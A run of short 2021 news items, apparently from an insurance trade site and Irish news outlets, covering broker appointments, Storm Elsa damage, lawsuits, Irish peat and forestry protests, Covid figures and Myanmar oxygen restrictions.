Sullivan joins after previously serving as property/casualty Northeast Vice President at Keating Inc. He brings more than 13 years of insurance industry experience to the team specializing in property, general liability, excess casualty and environmental.

In New York, The Burns & Wilcox Brokerage added Ascenzo as senior professional broker and Arnold as senior casualty broker. Ascenzo and Arnold report to Brady.

Ascenzo joins having spent the last five years as a management and professional liability broker at ARC Excess & Surplus, following roles at Chubb Specialty Insurance. He brings nearly 17 years of experience and is known for his expertise in management, professional, fidelity and cyber liability with a focus on financial institution risks.

Arnold joins the company after previously working at CRC Insurance Services. He brings more than eight years of industry experience to the team specializing in the construction and real estate industries, specifically within the New York area.

Source: Burns & Wilcox Brokerage

Topics Agencies Massachusetts
Omaha National, a provider of workers compensation insurance, has announced it is expanding coverage to New York.

By combining proprietary insurtech software with hands-on underwriting and claims management, Omaha National has achieved a low loss ratio since being founded in 2016, the company said in a press release.

In January 2021, Omaha National surpassed $100 million of in-force premium. The company employs more than 170 people at its Omaha, Nebraska, headquarters and currently provides coverage in 13 states, including New York.

Source: Omaha National Insurance Company

Topics New York New Markets
The fast-moving storm Elsa lashed New York City and New England with heavy rain and high winds Friday, flooding streets, toppling trees and hindering some rail service.

Maximum sustained winds from the storm were 50 mph by late afternoon as the storm moved northeast from Boston toward Maine. The U.S. National Hurricane Center said Elsa was no longer considered a tropical storm but still warned of heavy rainfall and gusty winds into Friday evening.

Elsa had been powerful enough to bring about 3.5 inches of rain to areas of Massachusetts and Rhode Island by the early afternoon, flooding streets and stranding cars. West of Boston, Framingham police said Route 9 at Route 126 was closed because of high water.

Storm conditions caused morning snags on commuter rail lines across the New York City region, with slight delays on the Harlem Line north of the city and service suspended on the Long Island Rail Roads Oyster Bay Branch because of fallen trees.

The downpour caused a small rock slide under the main railroad track in West Haven, Connecticut, forcing trains to switch to a secondary track for a couple of hours. West Haven was also among the coastal cities dealing with significant street flooding.

The storm came a day after a deluge flooded some streets and subway stations in New York City.

Despite videos showing flooding in some stations Thursday, we actually weathered the storm quite well, interim New York City Transit president Sarah Feinberg said in an email.

Up to 6 inches of rain was possible in some areas Friday, enough to cause flash flooding.

Most of the winds stayed offshore in New England but the eastern tip of Maine expected gusts of 30 mph to 40 mph, raising concerns about some localized power outages. Heavy rain  including a projected 5 inches along part of the Maine coast  was expected before the storm blew into the Bay of Fundy and Canada late Friday.

Scattered power outages were being reported along Elsas path Friday.

The system was already blamed for one death in Florida on Wednesday. And Elsa also previously caused a damaging tornado in Georgia.

On Wednesday, nine people were injured in coastal Camden County, Georgia, when a tornado struck a campground for active-duty service members and military retirees. Eight of those hurt had to be taken to hospitals, Kings Bay Naval Submarine Base spokesperson Chris Tucker said.

The EF-2 tornado flipped over multiple RVs, throwing one of the overturned vehicles about 200 feet into a lake, the National Weather Service said in a preliminary report early Thursday after its employees surveyed the damage.

Authorities in Jacksonville, Florida, said one person was killed Wednesday when a tree fell and struck two cars. The Naval Air Force Atlantic Office on Friday identified the person who was killed as Aviation Ordnanceman Airman Deshawn Levon Johnson, 26, of Virginia.

In South Carolina, a Coast Guard Air Station Savannah crew rescued a family that became stranded Wednesday on Otter Island after their boat drifted off the beach. The group was flown to a hospital in good health, a Coast Guard news release said.

The National Weather Service in Morehead City, North Carolina, tweeted that a tornado was spotted near Fairfield on Thursday afternoon.

Overnight in southern New Jersey, the National Weather Service said two tornadoes touched down.

One was in Woodbine, in Cape May County, and had an estimated peak wind of 100 mph when it hit at 2:40 a.m., lasting for two minutes. It uprooted trees and caused structural damage to a building.

A second touched at 3:33 a.m. in Little Egg Harbor Township in Ocean County, with an estimated peak wind of 80 mph, also uprooting trees and blowing out some fencing.

Elsa is the earliest fifth-named storm on record, said Brian McNoldy, a hurricane researcher at the University of Miami.

Hill reported from Albany, New York. Associated Press writers David Sharp in Portland, Maine, Mark Pratt in Boston and Pat Eaton-Robb in Storrs, Connecticut, contributed to this report.

Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics New York
Aviva Plc, the UK insurer and asset manager, warned the government that new safety proposals for high-rise apartment blocks could steer institutional investors away from the residential property market.

The company last year urged the government to consider how its Building Safety Bill, which addresses long-standing concerns around the development and management of homes, would financially impact their owners, according to an excerpt of a letter dated Nov. 20 and seen by Bloomberg News. Aviva manages a large portfolio of residential blocks on behalf of its investors.

Related: London Blaze-Tower Built with Cladding Used Across England

The legislation was published last week and is expected to take at least nine months to pass into law. The plans to overhaul regulations will cost the building industry 731 million pounds ($1 billion) in the first two years, and then 283.7 million pounds annually, the government estimates.

Read more: Lawsuit Filed for Defective Products Linked to Londons Grenfell Tower Fire Disaster

The reforms could potentially make it unviable for institutional investors to remain in the residential property market, Avivas former UK and Ireland General Insurance Chief Executive Officer Colm Holmes wrote in the letter to Building Safety Minister Stephen Greenhalgh. This would have further unintended consequences for U.K. pension savers and leaseholders, and deprive leaseholders of the benefits of an institutional landlord.

UK institutions are investing more in the lucrative rental housing market at a controversial time. Avivas warning adds to a raging debate about who should bear the billions of pounds of costs needed to fix unsafe buildings in the wake of the Grenfell Tower tragedy in 2017. Some 72 people were killed when the residential block, which had a number of safety defects, caught on fire.

Avivas asset management business, Aviva Investors, manages a fund that owns more than 1,000 high-rise residential blocks across England and Wales, according to an April company statement. The firm said that it was engaging with government on remediation issues in the wake of Grenfell, and was also investigating whether developers and contractors might be liable for costs.

We support the principles which underpin the recently published Building Safety Bill, a spokesperson for Aviva said in a statement on Monday. This will have a wide range of implications for freeholders and we are currently examining the details to understand the extent and range of its impact on these groups, who we act on behalf of.

The governments proposals are aimed at increasing accountability across the sector and making homes safer. However, uncertainty still remains as to who will pay for defects in existing properties: homebuilders, property owners, leaseholders or taxpayers.

Overall costs for repairing unsafe buildings could eventually rise to 15 billion pounds, lawmakers estimated last year.

Top photograph: Grenfell Tower in North Kensington, London. Photo credit: Hollie Adams/Bloomberg.

Related:

Copyright 2021 Bloomberg.
Insurance broker Marsh announced the launch of its Engineering Hub in Al-Khobar, Saudi Arabia.

The Engineering Hub is Marshs third in the Middle East and Africa (MEA) region along with existing hubs in Abu Dhabi and Dubai. The hub will be led by Nick Holland, who will relocate to Al-Khobar from Dubai. He reports to Ian Roy, Middle East engineering leader, Marsh Specialty.

As part of Marsh Specialtys Global Energy & Power Practice, the engineering hubs provide risk and product liability surveys, business interruption reviews, and terrorism and political violence assessments to energy, power, and commercial property firms operating in the MEA region. In recognition of Saudi Arabias ambitious renewable energy goals, the Al-Khobar hub also provides dedicated local support to organizations in their transition to more sustainable energy sources.

As leader of the Al-Khobar engineering hub, Holland will be responsible for directing client projects and working with the local insurance and reinsurance markets to develop their risk engineering capabilities. Holland joined Marsh in 2016 and was previously a risk engineer in the Global Energy & Power Practice, based in Dubai.

Before joining Marsh, he was at ExxonMobil for eight years, where he was engaged in various technical and managerial roles at an integrated refinery and petrochemical complex located in the United Kingdom.

Marsh is investing significantly in expanding its specialist capabilities and geographical reach across the MEA region to support energy and power clients as they adapt to greater demands on their resources, while managing the transition towards decarbonization, commented Bassam Al Bader, CEO, Marsh Saudi Arabia.

Nicks extensive experience in critical risk mitigation  gained at some of the worlds most complex manufacturing sites  will be invaluable to our technically diverse clients in Saudi Arabia. We expect to announce, in the coming months, further additions to the team that draw on the countrys rich expertise as we continue to invest in local talent, he added.

The energy sector is the cornerstone of Saudi Arabias economy; as well as being the worlds largest producer of oil and gas, the Kingdom has ambitious plans to develop its capabilities in solar energy and carbon free fuels such as green hydrogen, said Holland. The new Engineering Hub in Al-Khobar will play a key role in supporting clients with operations in the Kingdom to manage their risks and advance their development.

Source: Marsh

Photograph: Tanker ship shown here is moored in Jedda port, Saudi Arabia.
Spring Partners, the London-based managing general agency platform, announced that insurer Beazley has renewed its capacity support for Springs financial institutions business for another 12 months from July 1, 2021.

Financial details of Beazleys capacity provision were not disclosed.

The relationship with Beazley has gone from strength to strength over the last year and we are delighted to continue this partnership, commented Russel Kilpatrick, chairman of Spring.

We have had an extremely successful first year and this demonstration of trust and support from a market-leading Lloyds syndicate is testament to the hard work and progress that has been made, Kilpatrick continued.

Renewing our financial institutions capacity with Beazley is very positive news for Spring and allows us to continue our journey to become one of the pre-eminent specialist MGAs in our chosen field of expertise. We are grateful for the confidence that has been shown in our business and look forward to continuing a long and mutually beneficial relationship with Beazley for many years to come.

Adam Parr, Financial Institutions underwriter for Specialty Lines, Beazley Group, added: We are delighted to partner with Spring for another year, and we hope this capacity for the next 12 months helps to support its ongoing success.

Spring Partners, which purchases and develops MGAs, is a joint venture with independent Lloyds broker Aston Lark, which is backed by Goldman Sachs.

Related:

Topics Mergers
Chinese telecommunications company Huawei Technologies Co. Ltd. and U.S. group Verizon Communications agreed to settle a pair of lawsuits alleging patent infringement, the companies both said on Monday.

The confidential settlement came days into a trial that opened in one of the two lawsuits last week. Huawei and Verizon filed joint motions to dismiss both cases and Verizons counterclaims late on Sunday in two U.S. courts in Texas.

In February 2020, Huawei sued Verizon alleging the company used a dozen Huawei patents without authorization in areas such as computer networking, download security, and video communications, seeking an unspecified amount of compensation and royalty payments.

Verizon said it was happy with the settlement reached with Huawei involving patent lawsuits. While terms of the settlement are not being disclosed, our team did an outstanding job bringing this protracted matter to a close.

Huawei said in a statement it was pleased that Verizon and Huawei reached an agreement that ends the companies patent litigation. The terms of the agreement are confidential.

The company noted it holds more than 100,000 active patents worldwide, including about 10,000 U.S. patents.

Verizon had last year had filed counterclaims against Huawei, claiming the Chinese company violated Verizon patents.

Huawei said in 2020 it was simply asking that Verizon respect Huaweis investment in research and development by either paying for the use of our patents, or refraining from using them.

Huawei has been a flashpoint in the U.S.-China relationship for several years. The United States placed the company on an economic blacklist in 2019 over what it said were national security concerns.

In June 2019, Reuters reported that Huawei told Verizon it should pay licensing fees for use of more than 230 Huawei patents and was seeking more than $1 billion.

(Reporting by David Shepardson, Blake Brittain and Karen Freifeld Editing by Mark Potter and Jane Merriman)
The Capital One Tower, a 22-story building that has stood tall over Lake Charles for nearly 40 years is still empty nearly a year after Hurricane Lauras 150-mph winds knocked out windows up and down the building last August.

The American Press reported that the buildings owner, Los Angeles-based real estate firm Hertz Investment Group, has been working with its insurance company, Zurich, since Laura made landfall. In a statement, the chairman of Hertz said it has been a slow and arduous process.

As soon as were able to complete this process, well be able to move forward, Zev Hertz told the newspaper.

The 358,000-square foot tower had 73 tenants before the hurricane but now it is not able to be occupied. Many of the windows are boarded up.

Hurricane Laura was a powerful, Category 4 storm when it made landfall near Cameron, Louisiana, in August 2020, and was still a Category 4 storm when the center passed near Lake Charles an hour or two later, according to the National Hurricane Centers report on the storm.

The report said the hurricane was directly responsible for 47 deaths in the United States and Hispaniola as well as $19 billion in damage in the United States.

Then, about six weeks later, Hurricane Delta made landfall just a few miles from where Laura had hit, bringing further damage to the region.

Lake Charles Mayor Nic Hunter told the newspaper that the city would like to see the Capital One Tower repaired and back in use but also doesnt want the building sitting in disrepair for months on end.

As iconic as it is, and as much as it pains me to say this, I would much rather it be torn down than sit in that state for an extended period of time, Hunter told the newspaper.

Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Catastrophe Natural Disasters Hurricane
Total estimated insured losses on land from Hurricane Elsa will be around $290 million.

About $240 million of that was from wind and storm surge in the U.S., while the Caribbean islands suffered about $50 million, Boston-based Karen Clark & Co. said in an initial report this week.

Elsa made landfall on Floridas northern Gulf the morning of July 7. Elsa, the first hurricane of the 2021 Atlantic season, weakened to a tropical storm as it moved across Florida into Georgia, South Carolina, and North Carolina on July 7-8.

Tropical storm force winds impacted the Florida Keys and much of the Florida Gulf coast. Damage in Taylor County was not extensive, with most resulting from downed trees and power lines. Some minor damage occurred in Levy County, Florida, including the removal of a hotels roof and downed powerlines.

Elsa caused the formation of multiple tornadoes across the southeastern region. Those tornadoes resulted in isolated instances of structural damage, according to KCC.

The storm storm spawned an EF1 tornado in the Jacksonville area, killing one person and damaging several homes and industrial buildings.

The City of St. Marys, Georgia Police Department said 45-50 homes were affected by an EF2 tornado.

Naval Submarine Base Kings Bay reported an EF2 tornado with maximum winds of 128 mph. The tornado struck a campground at the naval base, injuring at least 10 people.

The Carolinas and several mid-Atlantic and northeastern states reported downed trees and powerlines as well.

Elsa ultimately made landfall as three times as a tropical storm.

Topics Catastrophe Natural Disasters Profit Loss Hurricane
British comedian Sacha Baron Cohen on Tuesday won the dismissal of a $95 million defamation lawsuit by Roy Moore, a former U.S. Senate candidate from Alabama who claimed he was tricked into being portrayed falsely as a sex offender on Cohens Showtime series Who Is America?

U.S. District Judge John Cronan in Manhattan said Moores signed consent agreement barred him from suing Baron Cohen, Showtime and its parent ViacomCBS Inc. over the July 2018 broadcast, including for intentional infliction of emotional distress and fraud.

Moore, 74, sued over an interview with Baron Cohen in Washington, D.C., where the former Republican chief justice of Alabamas Supreme Court expected to receive an award for supporting Israel.

Baron Cohen, disguised as fictional Israeli anti-terrorism expert Erran Morad, instead demonstrated a wand-like device that purportedly detected pedophiles and beeped when waved near Moore, who walked out.

In a 26-page decision, Cronan said the segment was clearly a joke, and no reasonable viewer would see it differently.

It is simply inconceivable that the programs audience would have found a segment with Judge Moore activating a supposed pedophile-detecting wand to be grounded in any factual basis, Cronan wrote.

Moore and his wife Kayla, also a plaintiff, quickly appealed.

Judge Cronans ruling makes no factual and legal sense, Larry Klayman, a conservative lawyer representing the Moores, said in a statement. To the contrary, Judge Cronans dismissal is the joke, and more than a bad joke at that.

Actor Cohen Sues Cannabis Firm for $9M Over Use of Borat Image on Billboard

Showtime declined to comment. Lawyers for Baron Cohen did not immediately respond to requests for comment.

Moore earlier sought to disqualify Cronan, an appointee of former Republican President Donald Trump, for allegedly opposing his political and religious beliefs.

Running in heavily Republican Alabama, Moore lost his 2017 Senate race to Democrat Doug Jones after being accused of sexual misconduct toward female teenagers while in his 30s.

Moore has denied wrongdoing.

Baron Cohen, 49, won the dismissal in 2007 of a lawsuit by two former fraternity students who claimed they were duped while drunk into appearing in his film Borat! Cultural Learnings of America for Make Benefit Glorious Nation of Kazakhstan.

(Reporting by Jonathan Stempel in New York; Editing by Cynthia Osterman, David Gregorio and Marguerita Choy)

Topics Lawsuits Legislation Alabama
Norwegian Cruise Line Holdings filed a lawsuit against Floridas surgeon general on Tuesday July 13 over a state law that bans businesses from requiring proof of COVID-19 vaccination from customers.

The cruise operator will continue to require full vaccinations for all crew and passengers, including children, ahead of sailings, starting Aug. 15 out of Florida.

NCLH filed the lawsuit in the U.S. District Court for the Southern District of Florida, citing surgeon general Scott Rivkees as the responsible state official enforcing the vaccine ban.

NCLH said in its complaint that Floridas prohibition of requiring documentation of vaccinations blocks communication between a business and its customers and is in violation of the First Amendment.

The Miami-based company also argues the ban disrupts the proper flow of interstate and international commerce.

NCLH called the lawsuit a last resort and said that it could face penalties of up to $5,000 per passenger by enforcing vaccine documentation.

Indeed, the only way NCLH could maintain its protocols and operations as currently planned is by abandoning Florida altogether, the suit said.

The Florida governors office criticized the NCLHs stance, saying it discriminates against children and individuals who cant be vaccinated.

Apparently Norwegian prefers the shackles of the CDC to the freedom offered by Florida, the spokeswoman said in a statement, according to the Wall Street Journal. This administration will not tolerate such widespread discrimination.

Norwegians competitors Royal Caribbean and Carnival Cruise are requiring unvaccinated passengers provide proof of travel insurance to cover COVID-19-related evacuation and medical expenses.

Royal Caribbean requires a policy with a minimum $25,000 per person in medical expenses and $50,000 per person for quarantine and medical evaluation relate to a positive Covid-19 test result.

Carnival Cruise announced this week passengers will need a policy with a minimum $10,000 for medical expenses and $30,000 for emergency medical evaluation. The emergency policy must not have COVID-19 exclusions.

Topics COVID-19 Lawsuits Florida
Lawsuits filed in California seek potential class-action damages from Dow Chemical and its successor company over a widely used bug killer linked to brain damage in children.

Chlorpyrifos is approved for use on more than 80 crops, including oranges, berries, grapes, soybeans, almonds and walnuts, though California banned sales of the pesticide last year and spraying of it this year. Some other states, including New York, have moved to ban it.

Stuart Calwell, lead attorney in the lawsuits, argued that its effects linger in Central Valley agricultural communities contaminated by chlorpyrifos during decades of use, with measurable levels still found in his clients homes.

Lawyers project that at least 100,000 homes in the nations largest agricultural state may need to dispose of most of their belongings because they are contaminated with the pesticide.

We have found it in the houses, we have found it in carpet, in upholstered furniture, we found it in a teddy bear, and we found it on the walls and surfaces, Calwell said. Then a little child picks up a teddy bear and holds on to it.

All that needs to be cleaned up, he says, because its not going away on its own.

State records show 61 million pounds of the pesticide were applied from 1974 through 2017 in four counties where the lawsuits were filed, Calwell said.

Officials with Dow and its affiliated Corteva Inc. did not immediately respond to telephone and email requests seeking comment.

Corteva stopped producing the pesticide last year. The Delaware-based company was created after a merger of Dow Chemical and Dupont and had been the worlds largest manufacturer of chlorpyrifos. The company has said it believes the product is safe and said it stopped production because of declining sales.

Scientific studies have shown that chlorpyrifos damages the brains of fetuses and children. It was first used in 1965 but was banned for household use in 2001.

The U.S. Environmental Protection Agency is weighing whether to ban the product or declare it safe, including for infants and children. The 9th U.S. Circuit Court of Appeals in April ordered the EPA to make a decision after studying the product for more than a decade. The Trump administration had halted the rule-making process.

The lawsuits were filed on behalf of people in Fresno, Kings, Madera and Tulare counties, though Calwell said they are a precursor to seeking class-action status. Aside from Dow-related companies, they name various farming companies they say applied the chemical near the plaintiffs homes.

In each case, the plaintiffs are parents suing on behalf of children who suffer from severe neurological injuries that the lawsuits blame on their exposure to the chemical while they were in the womb or when they were very young.

Aside from nearby spraying, the lawsuits say the parent, relatives or others in frequent contact with the child worked in the fields or packing plants and became contaminated with the chemical that they passed on to the child.

Calwell filed related lawsuits last fall on behalf of farmworkers who his firm said spent years marinating in the pesticide.

The first of those related lawsuits blames chlorpyrifos for causing autism, cognitive and intellectual disabilities in a now-teenager born in 2003.

The teens father worked spraying pesticides on farm fields and his mother packed what the lawsuit says was chlorpyrifos-covered produce in a facility surrounded by fields treated with the pesticide, often applied by aerial spraying.

Calwell similarly sued Monsanto for damages he alleged it caused to homes in Nitro, West Virginia, with its use of dioxin to make the defoliant known during the Vietnam War era as Agent Orange.

That case settled for $93 million, with Monsanto paying to decontaminate 4,500 homes, a fraction of those that he alleges in California will require more extensive decontamination followed by medical monitoring.

Related:

Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Lawsuits California
Growing discontent in the horticulture and forestry sectors led to protests by those impacted this week.

On Tuesday horticultural growers demonstrated outside the Convention Centre where the Dail was sitting to highlight the challenges they are facing as a result of restrictions on the harvesting of peat.

Following a ruling of the High Court in September 2019, harvesting of peat from bogs greater than 30 hectares now requires all harvesters to go through a complex licensing and planning regime.

Horticultural peat harvesting on bogs has all but ceased and there are genuine fears that Irish peat supplies will be exhausted by September.

On Wednesday farmer foresters took to the Convention Centre to point out the crisis in the sector and the need for emergency legislation to reform the licence system.

Forest owners protest over the licensing fiasco and looming crisis within the sector. Picture: Eamon Farrell/RollingNews.ie

There are currently 6,000 licences backlogged in the Department.

Ministers Charlie McConalogue and Pippa Hackett met with foresters and highlighted that improvements are being made and will continue through Project Woodland.

In terms of figures, we explained that in June of this year 411 licenses were issued, they added.

80% of those were private, the highest number of private licenses issued in one month in five years.

We also updated them on staffing increases, in terms of ecologists, inspectors and administrators.

But, there is a wider issue in terms of afforestation levels and meeting the demands of the Climate Action Bill, and Minister McConalogue acknowledged this when foresters raised the matter.

We are also focussed on the wider issue which is to devise a vision for Irish forestry for the next 100 years, he continued.

We need as a country to agree on what we want from our trees, so that our woodlands and forests work for our communities, for industry and for biodiversity.

With the help of the farmers protesting today, and other stakeholders, Project Woodland is both fixing the current issues and working on the longer-term vision.

It involves representatives from all stakeholders, coming together in working groups, along with officials and outside expertise, to fix the backlog, reform the process, make organisational structures fit for purpose, and also devise that new strategy.

Meanwhile, the Irish Farmers Association (IFA) has warned that without immediate Government intervention to allow the harvesting of peat, the Irish horticultural sector faces wipe out.

As a major segment of the Irish horticulture sector relies on peat, particularly the mushroom and ornamental sectors, the restrictions on peat harvesting is having devastating consequences, its president, Tim Cullinan said.

Producers will either have to close their business or import peat, which will make some businesses unviable because of the extra cost.

Irelands horticultural sector has a farm gate value of 477m.

There are over 17,000 jobs in the sector, which includes an estimated 6,600 people directly employed full-time with another 11,000 being indirectly employed in value-added and downstream businesses.

Val Farrell, Chairman IFAs Irish Hardy Nursery Stock Association, works on a display during the No Peat - No Produce protest Picture: Finbarr ORourke.

As it stands, we will be forced to import peat from Europe and the Baltic, which is at odds with the green credentials of the horticultural sector. The area of peatland required to supply the Irish horticultural industry is just over 1/10 th of 1% (.12%) of Irelands total area of peatlands.

To further compound the issue, there is a shortage of peat on the European market and growers are having their orders refused.

On Thursday, members of the Oireachtas Committee on Agriculture, Food and the Marine gave a commitment to those working in the horticulture sector to meet with department ministers in an effort to find an immediate resolution to what its chairman, Jackie Cahill described, as a crisis engulfing Irelands horticultural sector.

Growing Media Ireland (GMI), the representative group for the majority of horticultural peat and growing media producers in Ireland, warned that over 17,000 jobs across Irelands horticultural sector are at real risk of being lost over the coming months because of ongoing restrictions on peat harvesting.

It says that the entire sector has experienced extreme challenges over the past 18 months, following the High Court ruling and that horticultural peat harvesting on Irish bogs has all but ceased.

This commitment to meeting with the various departments is a positive step in the right direction to hopefully securing a necessary resumption of peat harvesting, John Neenan, Chairman of GMI said.

Thousands of jobs in the midlands and West of Ireland across our sector will be lost unless we can get back to peat harvesting this summer.

Friends of the Irish Environments director Caroline Lewis, who sits on the Governments use of peat in horticulture working group, added that while workers in the horticulture industry had every right to be aggrieved, forcing the Government to change the law yet again was not the answer.

Forest owners are concerned over the sector-wide crisis that has emerged. Picture: Eamon Farrell/RollingNews.ie

As far back as 2004 the European Commission told Ireland that its policy and legislation on peat extraction infringed important community law, she said.

It has been clear nationally since a 2013 ruling by An Bord Pleanala that these operations require planning permission but instead of following due process they forced a change in the law that mocked European legislation and was struck down by our High Court in 2020.

The Working Group has agreed that peat will be entirely phased out by 2030.

As an interim measure, we have recommended financial support for the industry to import growing media while scaling up alternatives nationally.
We may not be gracing the shores of the Amalfi coast this summer, but that doesnt mean our staycation beach style has to suffer. Whether your beachside pursuits include paddle-boarding, sea swimming or simply catching some rays, things on the sartorial side are about to heat up. From bikinis to accessories, your summer beach style will be sizzling hot.

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To offset any looming clouds choose sunnier shades for your beach attire, 49, Cos.

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Urgent actions to tackle gender inequality must be taken now by Government before the delayed National Strategy for Women and Girls is published, the National Womens Council has said.

Solid recommendations on how to improve gender equality, such as introducing public childcare and leadership quotas, were made recently by the Citizens' Assembly and these should be acted on immediately, Orla OConnor, director of the National Womens Council (NWC), said.

Covid complications have meant the National Strategy for Women and Girls, the Governments roadmap for redressing persistent gender inequalities in Ireland, was delayed by one year. It was supposed to culminate at the end of 2020 but it is expected instead to finish later this year.

But the pandemic has both entrenched and highlighted the inequalities women and girls face in Ireland and urgent action is needed now, Ms OConnor said.

What women clearly want is action. They want to see things delivered. Women have been saying what they want  like public childcare  and were still waiting for that to be delivered.

Were still waiting to see more women in decision-making positions. The pace of change is a huge issue around womens equality."

Citizens' Assembly report

Ms O'Connor said the recent Citizens' Assembly report into gender equality is much stronger than the Governments progressing Strategy for Women and Girls.

The Citizens' Assembly really put forward a good roadmap for where the Government needs to go in terms of equality. The current strategy is quite weak on specific outcomes," she said.

The Citizens' Assembly made a very clear recommendation on quotas for leadership, whereas the strategy is not as clear on that.

It also made a very clear case for public childcare, whereas that is not in the current strategy.

These recommendations are not coming out of the blue. Theyre things that have been recommended by women in lots of different places and lots of different consultation processes that the government has had. Its just that theyve been left sitting there.

The last womens strategy, published in 2007, was followed by a recession which limited investment in the strategy. Possible post-Covid austerity is now raising concerns that history may repeat itself.

Women, particularly lone parents, bore the brunt of that recession and they have also suffered disproportionately during the pandemic.

Little urgency to tackle inequality

Yet, there is little urgency to tackle these persistent inequalities, Ms O'Connor said.

Women want the pace of change to really increase and theyre absolutely tired of waiting for equality," she said.

Our concern is that there just is not the urgency around a change for women."

A spokesperson for the Department of Equality said a progress report on the strategy was published in 2019 and highlighted achievements of the strategy up to July 2018. A progress report for the period from August 2018 to the end of 2020 is in preparation, they said.

In response to the impact of the Covid-19 pandemic on the implementation of the actions under the strategy, a decision was taken to extend the strategy until the end of 2021," the spokesperson said.

"An independent evaluation of the strategy will be commissioned this year and will examine the current strategy and a number of other equality strategies concluding in the same time period," they said.
Taoiseach Micheal Martin has slammed proposals by the British Government to introduce an amnesty to end prosecutions for crimes related to the Troubles in Northern Ireland.

The Foreign Affairs Minister says the Irish government does not believe the UK proposals can be the basis for dealing with legacy cases.

Minister Simon Coveney says victim's families still want justice:

"I don't believe that reflects what the majority of the people in Northern Ireland want, it certainly isn't what political parties in Northern Ireland are willing to support, and victims groups, certainly that have spoken to me, certainly want the option of a justice-based truth approach in court as well as the potential for a prosecution and a conviction," he said.

The UK has announced plans for a statute of limitations that would end all prosecutions of ex-paramilitaries and former members of the security forces in legacy cases.

On Wednesday, Secretary of State Brandon Lewis told the House of Commons he plans to bring the legislation to parliament in the autumn.

The Taoiseach said the proposals were wrong for many, many reasons and called on the UK Government to honour the Stormont House Agreement.

Mr Martin told the Government: The introduction of what amounts to a general amnesty for all security personnel, and all paramilitaries, for murders and other crimes, up until the Good Friday Agreement is not the right way to go.

Its wrong for many, many reasons.

Ive stated that consistently.

I dont believe in a general amnesty for those who committed murder, whether there were State actors, or whether theyre involved in terrorist or illegal organisations.

I just dont believe in that.

Weve consistently said that at the British Irish Government Council, there was an agreement to continue engagement with all parties and victims groups on these issues.

That process has now started, as you know.

The British Government may be setting out its position.

But our position as an Irish Government, shared with all of the political parties in the North and all of the victim groups, remain consistent with that of Stormont House.

The Stormont House Agreement of 2014 included provisions to investigate killings and other crimes associated with the Troubles.

These included the establishment of a Historical Inquiries Unit, an Independent Commission on Information Retrieval, an Oral History Archive and the creation of an Implementation and Reconciliation Group.

However, the British Government failed to implement the terms of the agreement and has instead moved to limit historical investigations.

The move has been slammed by victims and political parties in Northern Ireland, who criticised them as a de facto amnesty.

Raising the issue with the Taoiseach on Wednesday, Sinn Fein leader Mary Lou McDonald said the proposals were an insult to victims and their families.

She said they would create an amnesty for British soldiers who went into the streets and gunned down innocent civilians in Derry, Ballymurphy and beyond.

She added: An amnesty for State and non-State actors that acted on behalf and in collusion with the British State.

People who always believed that they would never be held to account for their actions, and that the truth behind Britains dirty war in Ireland would remain forever hidden by the British state.

She continued: This is an insult to victims and their families.

Its an act of absolute bad faith on the part of the British government and its left victims and survivors and their families believing that this is a fait accompli, a unilateral action from the British government and that the Stormont House Agreement has now been binned.

More than 3,500 people died during the Northern Ireland Troubles, which stretched from the early 1970s to the Good Friday/Belfast Agreement in 1998, while tens of thousands more were injured.
Almost one in 10 recent Covid-19 cases in the State are travel-related, public health officials have said.

It comes as they warn the rate of infection is increasing by 2% to 4% daily. Some 783 cases of Covid-19 were reported on Wednesday.

Deputy Chief Medical Officer Dr Ronan Glynn said the epidemiological situation is beginning to deteriorate across the world as a result of the Delta variant, first identified in India.

There was a 10% increase in cases globally last week compared to the previous week, Dr Glynn said.

In the European region, there was a 20% increase in the number of cases week on week, largely driven by surges in the UK, the Netherlands, Spain, Portugal and Greece.

626 travel-related cases

Speaking at a briefing with reporters on Wednesday, Dr Glynn said there have been 626 travel-related cases over the past fortnight, representing 8.4% of the total number of cases.

Spain accounted for more than half of travel-related cases at 385, followed by Britain at 161 and Portugal at 131.

From Monday, the EU digital Covid certificate, which is being rolled out to fully vaccinated individuals, will facilitate the resumption of non-essential international travel.

Asked if this move was a mistake, given the unstable situation in many European countries, Chief Medical Officer Dr Tony Holohan said it was proportionate.

Our message would be, from a public health point of view, is we still have a portion of the population to be vaccinated, theyre not far away from vaccination, Dr Holohan said.

Were still advising, on an individual basis, theyre better to put off their travel arrangements, whatever plans they may have until such a point that they are vaccinated.

Indoor dining

On the question of indoor dining, Dr Holohan said it is safer for parents not to bring children into indoor dining settings and this is the responsible public health advice.

Dr Holohan said for those who wished to go out with their children, dining outdoors is still possible.

The Government is planning to allow pubs and restaurants to serve indoors those who can demonstrate proof of being fully vaccinated from next week.

Children will be allowed to dine indoors if they are in the company of their fully vaccinated parents.

However, Dr Holohan said that caution still needs to be exercised given the spread of the Delta variant.

You dont have to go indoors, he said. We know Delta transmission among children can happen.

'Cause for considerable concern'

Prof Philip Nolan, chairman of the Irish Epidemiological Modelling Advisory Group, said the current Covid environment was a cause for considerable concern.

The 14-day incidence rate is 157 cases per 100,000 population, while the five day moving average is 617 cases.

The State is in the beginnings of seeing an increase in the number of people in hospital, Prof Nolan added.

The number of Covid patients in hospital has increased from 45 over the seven days preceding this day two weeks ago, to about 50 on average to Wednesday last week, and to 60 on average this week.

At the same time, the number of admissions has increased from a very stable six per day to eight or nine per day and trending upwards, Prof Nolan said.

Where we typically had two admissions every five days to intensive care, we are now looking at an average of an admission per day. Where this is going into the future isnt entirely clear.

Prof Nolan said the Republic was now in the early stages of exponential growth with Delta, with a very marked increase in cases among 18- to 24-year-olds.

The growth rate is currently estimated to be 3.5%, and case numbers are "tracking ahead" of the optimistic modelling scenario.

However, Prof Nolan said he did not expect that trend to be sustained.

In addition to confirming 783 new cases of the virus, Nphet said that, as of 8am, 73 Covid-19 patients were in hospital, of which 20 were in ICU. There were 13 additional hospitalisations in the past 24 hours.

There were 12 deaths linked to the virus reported in June, and one so far in July, bringing the total number of deaths since the start of the pandemic to 5,018.
Burma Myanmar Junta Accused of Restricting Oxygen Supplies

A queue for oxygen at a plant in South Dagon Industrial Zone. / The Irrawaddy

With many COVID-19 patients in Myanmar needing oxygen, the military regime has reportedly restricted supplies. Sources said more than 700 bodies were cremated in Yangon in a day.

Claiming that many people are hoarding oxygen, the regime has ordered private oxygen plants not to refill cylinders for individuals. Many victims of COVID-19 are dying as a result and charities are struggling to help patients.

